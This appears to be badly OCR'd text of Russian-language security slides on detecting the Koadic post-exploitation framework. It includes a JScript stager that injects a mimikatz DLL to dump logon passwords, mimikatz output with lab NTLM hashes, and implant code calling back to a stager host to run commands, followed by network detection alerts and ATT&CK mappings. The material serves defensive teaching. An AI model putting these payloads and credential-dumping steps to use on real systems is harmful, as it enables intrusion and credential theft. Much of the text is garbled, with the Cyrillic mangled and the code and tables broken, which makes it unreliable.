32:\..\..\..\mshtml|,RunHTMLApplication
HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0;

Windows NT 10.0: Winé4: xé4: Trident/7.0:
NET4.0C; NET4.0E; NET CLR 2.0.50727; NET
CLR 3.0.30729; NET CLR 3.5.30729)

Host: 192.168.241.1:9999

Connection: Keep-Alive

[locnenytowime 3anpPocChl

CBA30Hbl HEMOCPEACTBEHHO

C OYHKUMOHANOM, B HALLEM Crly4dae
STO BbIZOB Mimikatz



Koadic mimikatz dotnet to js

Nepepaetca cam mimikatz

HTTP/1.0 200 OK
Server: Apache
Date: Wed, 12 Sep 2018 10:56:59 GMT

<html>
<head>
<script |
try {

anguage="JScript">

var a = new ActiveXObject(System.Collections.ArrayList);
var d = fmt.Deserialize_2(serialized_obj);

var o =

d.Dynamiclnvoke(al. ToArray()).Createlnstance(entry_class);
var shim_lpParam =
"sekurlsa:logonpasswords~~ETag~~378cd8ef576940d4%ec
4bf93e5885eb4~~f6108003752e4a0f893e30c2d2421ecP~~1
846470e230e46e58ebd06c20a47a536~~" +
RHBMRNANAN.work.make_url();

var baseb4DLL =

"TVgQAAMAAAAEAAAA/ /SAALGAAAAAAAAAQAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAL
fug4AtAnNIbgBTMOhVGhpcyBwemPncmFtIGNhbmSvdCBiZ
SBydW4gaWAGRESTIGIVZGUUDQOKJAAAAAAAAABXmMGKN
E/kMPBPSDPQT+Qz0p2X99Bf5DPSNZf/0a/kM9Kdl/vQe+Qz
OKKcP9RT5DPQopwn1B/kMOCINCPUB+Qz0zgbHIBTSDPQT
+Q307/kMIISNnCfUa+Qz0hKcMRLEDPSB...

o.InjectDLL(baseb4DLL, shim_lpParam, 7656);
RHBMRNANAN.work.report("Done"):

} cateh (e) {

}

RHBMRNANAN.work.error(e):



Koadic mimikatz dotnet to js

POST
/TWEpO?sid=9a1411e6729f4d959badc5db35bdeb94;csrf=dd7d6ffd08
8242cca80clbcca37 o432 HTTP/1.1

User-Agent: Mozilla 5.0

Host: 192.168.241.1:.9999

Content-Length: 464

Cache-Control: no-cache

A, mimikatz 2.7 (x64) built on Aug 20 2018 13:14:10

H# N ##. A La Vie, A LAmour” - (oe.eo) ** Kitten Edition **

## / \ ## /*** Benjamin DELPY ‘gentilkiwi' ( benjamin@gentilkiwi.com
)

##t \ [ H## > http://blog.gentilkiwi.com/mimikatz

W Vincent LE TOUX (
vincent.letoux@gmail.com )

HHHHH > http://pingcastle.com / http://mysmartlogon.com
***/

mimikatz(powershell) # privilege:debug
Privilege '20' OK

HTTP/1.0 200 OK

Server: Apache

Date: Wed, 12 Sep 2018 10:56:59 GMT

mimikatz{powershell) # token:elevate...
* Process Token : {0;07fa4170} 1 D 134783298
CONTOSON\Administrator

mimikatz(powershell) # sekurlsa:logonpasswords

Authentication Id : O ; 133841264 (00000000:07fa4170)

Session : Cachedlnteractive from 1

User Name s userO4

Domain . CONTOSO

Logon Server :DC

Logon Time  :9/12/2018 1:10:19 PM

SID 0 S5-1-5-21-1662520985-2934808638-3559630843-1104
msv :

[00000003] Primary
*Username : userO3

* Domain . CONTOSO

*NTLM . a7dd78b0e52¢c39047f518787¢02e82b5

* SHAI . 0fd5¢cd8129e7810a3186cf86bd?ec?53ff3aaldc
* DPAPI . f88193e7ad3ac2adcb74317ac5adb18e



Koadic implant/manage/exec_cmd

UYto penaer:

YOoneHHoe BbiNOSHEHME KOMOHL,

Kak pa6ortaerT:

1. YCTOHOBAMBOET ceccuto ¢ zombie
2. OTnpaBngeT CKpWNT C BbI3OBOM shell n komaHaoom

Pduun,/HIOAHCHI:

[Mou MCNONB3OBAHUK OAHHOTO MMMIOHTA OOOABASET B OCHOBHOW CKPOUMT
2 BAPWAHTA BbI30BAO shell — ¢ Bo3BpaALLleHMEM BbIBOOO U 6€3



Koadic implant/manage/exec_cmd

Y10 30 GAWTUUGCFI ?

var GAWTUUGCFI =

{
F5 : new ActiveXObject("Scripting.FileSystemObject"
WS : new ActiveXObject("WScript.Shell"),
STAGER : "http://192.168.241.1:9999/invPr",
SESSIONKEY : "464T0d3bbc664f2cb@5bb56d89bdbecbd”,
JOBKEY : "5f7125ba63a848Te80199c42e606afd7",
JOBKEYPATH : "http://192.168.241.1:9999/invPr?sid=4
EXPIRE : "999999999999999"

MMnnaHT exec_cmd
npenycMaTpuBaeT
BbIMOSIHEHME KOMOH[,
C BO3BpPALLEHMEM
output, nméo 6e3

. oo
.o
.e®
.
.

try
{
var readout = true;
if (readout)
{
""""""""" > var output = GAWTUUGCFI.shell.exec("whoomi",
"%TEMP%\\"+GAWTUUGCFI.uuid()+".txt");
}
else {
var output ="
GAWTUUGCFI.shell.run("whoami");
v GAWTUUGCFl.work.report(); »
......... } '..
....... if (output 1= ") {
GAWTUUGCFIl.work.report(output);
}
} B oCHOBHOE Teno
{COtCh (] CKPUNTA [OBaBNSETCS

KoL TeKyLLero UMnIaHTa
GAWTUUGCFI.work.error(e):; - yH



Kak o6HapyxuTtb koadic

) J 4

HTTP-3anpocekl, 4epes KoTopble Koxoog KOMOHOO — HOBOS Icnonb3oBAHME
BCcerpa odwaetca koadic, HTTP-ceccus WinHttpReqguest
MMEIOT onpeaeneHHbin BMa API

M OTIIMYKMMbI OT OCTOSIBHOIO

ToAPUKA

4

TackaeT 30 cob6om NHuumoanmanpyeT
OCHOBHOE TEeNo HA JS COeVHeHMe BCerga xepTea



weHue koadic B PT NAD

13:50:00 13:52:00

Shown 6 rows — Checked 0 rows
! Message

ATTACK [PTsecurity] Possible Directory Traversal in URI
ATTACK [PTsecurity] Possible Directory Traversal in URI
ATTACK [PTsecurity] WScript.Shell Run HTML Code Execution Attempt
ATTACK [PTsecurity] WScript.Shell Run HTML Code Execution Attempt
ATTACK [PTsecurity] WScript.Shell Run HTML Code Execution Attempt

MALWARE [PTsecurity] Koadic.Rootkit Check-in

13:54:00

Class

Web Application Attack

Neb Application Attack

Attempted Administrator Privilege Gain

Attempted Administrator Privilege Gain

Attempted Administrator Privilege Gain

A Network Trojan was Detected

Alert timestamp

12.09.2018
13:55:06

12.09.2018
13:56:59
12.09.2018
13:55:06

12.09.2018
13:55:06

12.09.2018
13:56:59
12.09.2018
13:55:06

13:56:00

Source IP

192.168.241.203

192.168.241.203

192.168.241.203

192.168.241.203

192.168.241.203

192.168.241.203

Source port

49706

49713

49706

49704

49713

49705

Sc

Destination IP

192.168.241.1

192.168.241.1

192.168.241.1

192.168.241.1

192.168.241.1

192.168.241.1

13:58:00

Destination port

9999

9999

9999

9999

9999

9999



weHue koadic B PT NAD

13:50:00 13:52:00

13:54:00 13:56:00 13:58:00
MALWARE [PTsecurity] Koadic.Rootkit Check-in
General information ATTACK_MARK_FALSE...
MALWARE [PTsecurity] Koadic.Rootkit Check-in Aler 12.09.2018 13:55:06 )
Create an exception..
High fimestam
A Network Trojan was Detected Create an incident..
10003788 tev 1
Transfer into a storage...
ATTACK [PTsecurity] WScript.Shell Run HTML Code Execution Attempt
General information ATTACK_MARK_FALSE...
ATTACK [PTsecurity] WScript.Shell Run HTML Code Execution Atte Alert 12.09.2018 13:55:06
Create an exception...
mpt t tar
High Create an incident..
Attempted Administrator Privilege Gain
10003456 ev 1

Transfer into a storage...
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ATT&CK mapping/
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~T

. . Privilege Defense Credential . . Command
Execution Persistence Escalation Evasion Access Discovery Lateral Movement Collection and Control
[ooc]
Command-Line - ] - - " f Distributed Component
Interfocel Scheduled Task Valid Accounts File Deletion Credential Dumping Account Discovery ! Holtaject Modpel n Commonly Used Port
iroociet imoociol
Windows Management Credentials
PowerShell Instrumentation Event in Registr Network Service Scanning Pass the Hash Remote File Copy
Subscription gistry
[ oocia] imoociat [ oocio] moociet [ ncocia]
Credentials in Files Network Share Discovery Pass the Ticket Stondqrgrgtrgggl)grophic

Scheduled Task

Scripting

[ oot ]
Service Execution

Windows
Management
Instrumentation

impacket

Network Sniffing

impacket

Kerberoasting

Password Policy Discovery

[ oot ]
Query Registry

Remote System Discovery

System Network Connections

Discovery

System Owner/User Discovery

System Service Discovery

Remote File Copy

mpociat
Windows Admin Shares

impacket

Remote Desktop
Protocol

impacket

Remote Services

[ oocio]
Standard Application
Layer Protocol




im

acket + CME

~T

Execution Persistence Ezzi::’:!:etl :n Esges?os: Cr:::g::al Discovery Lateral Movement Collection acr:':ingg::‘r‘:l
D D EE. D . D EE. T D D S = == ]
Corr;]r:[nec:fno%el_ine Scheduled Task Valid Accounts File Deletion Credential Dumping Account Discovery Distri%t&eecgtclv?gndpecl)nent Input Capture Commonly Used Port
D EE = [cve ] D . T S [ cve ] D A
PowerShell \/I\rlwlgtcrjtj;r\;wvénl\ggggr?%%enqt Indirggéc(lﬁir“g;nond (fr:%%egqgt?;l/s Network Service Scanning Pass the Hash Screen Capture Remote File Copy
ubscription
[ococat] c. ] rocciat D . T S T .
Scheduled Task Credentials in Files Network Share Discovery Pass the Ticket Stondqrgrgtrgggl)grophic
D . e c: ]

[cocar]  c-: ]
Scripting

[eecea] o]
Service Execution

T .
Windows
Management
Instrumentation

) ESE
Network Sniffing

T .
Kerberoasting

D .
Password Policy Discovery

[ oot ]
Query Registry

=

Remote System Discovery

System Network Connections

Discovery

System Owner/User Discovery

[ cocio ]
System Service Discovery

Permission Groups Discovery

[ c } .
System Information Discovery

Remote File Copy

) .
Windows Admin Shares

Remote Desktop
Protocol

=Em
Remote Services

. |
Windows Remote
Management

Standard Application
Layer Protocol




im

acket + CME + koadic

~T

. . Privilege Defense Credential . . Command
Execution Persistence Escalation Evasion Access Discovery Lateral Movement Collection and Control
D D EE. D . D EE. T T T T T T ] _=E T .
Command-Line . ; - - " f Distributed Component
Interfocel Scheduled Task Valid Accounts File Deletion Credential Dumping Account Discovery ! Holtaject Modpel n Input Capture Commonly Used Port
D EE [ coocc ] [ cv ] D . T S [_cve ] T T T
Windows Management : :
PowerShell Instrusrruwggéﬂg%gfvent Acgéﬁﬂfscgﬁrrol Indlrggéc(icgirg;nond (fr:%%egqgt?;l/s Network Service Scanning Pass the Hash Screen Capture Remote File Copy
[eecken] cv: | [“iocaic | impocket T S T [mssaen]  cve ] | oo ] Pieackan]  cvi ] oooc ]
Deobfuscate/ s ) ) Standard Cryptographic
Scheduled Task Decode Files Credentials in Files Network Share Discovery Pass the Ticket Clipboard Data Protggol grap
or Information
T . e S T N T ) N T T T S
o e . X ) Standard Application
Scripting Mshta Network Sniffing Password Policy Discovery Remote File Copy Loyér PrE%COI !
D . == T . [ oocio] D =
Obfuscated Files Windows Admin Shares Custom Command

Service Execution

D . W
Windows
Management
Instrumentation
[ cooc ]
Mshta

[ coooc ]
Regsvr32

[_cooc ]
Rundli32

or Information Kerberoasting

Regsvr32

=ra
Rundli32

Query Registry
T S

Remote System Discovery

. e

System Network Connections

Discovery

System Owner/User Discovery

System Service Discovery

Permission Groups Discovery

[ c } .
System Information Discovery

Remote Desktop
Protocol

=Em
Remote Services

[ cve ]
Windows Remote
Management

and Control Protocol

Data Encoding

[ coce ]
Uncommonly Used Port




NMone3Hble CCbUIKM

Attack Detection Team B TBUTTERE

twitter.com/AttackDetection

AHanuTMyeckme oTyeThl
N MyGNIUKAL MM

ptsecurity.com/ru-ru/research/

bnor Positive Research Center

habr.com/company/pt/blog/

BebuHap nNpo OetekT atak
Ha Microsoft Active Directory

ptsecurity.com/ru-ru/research/webinar/290582/
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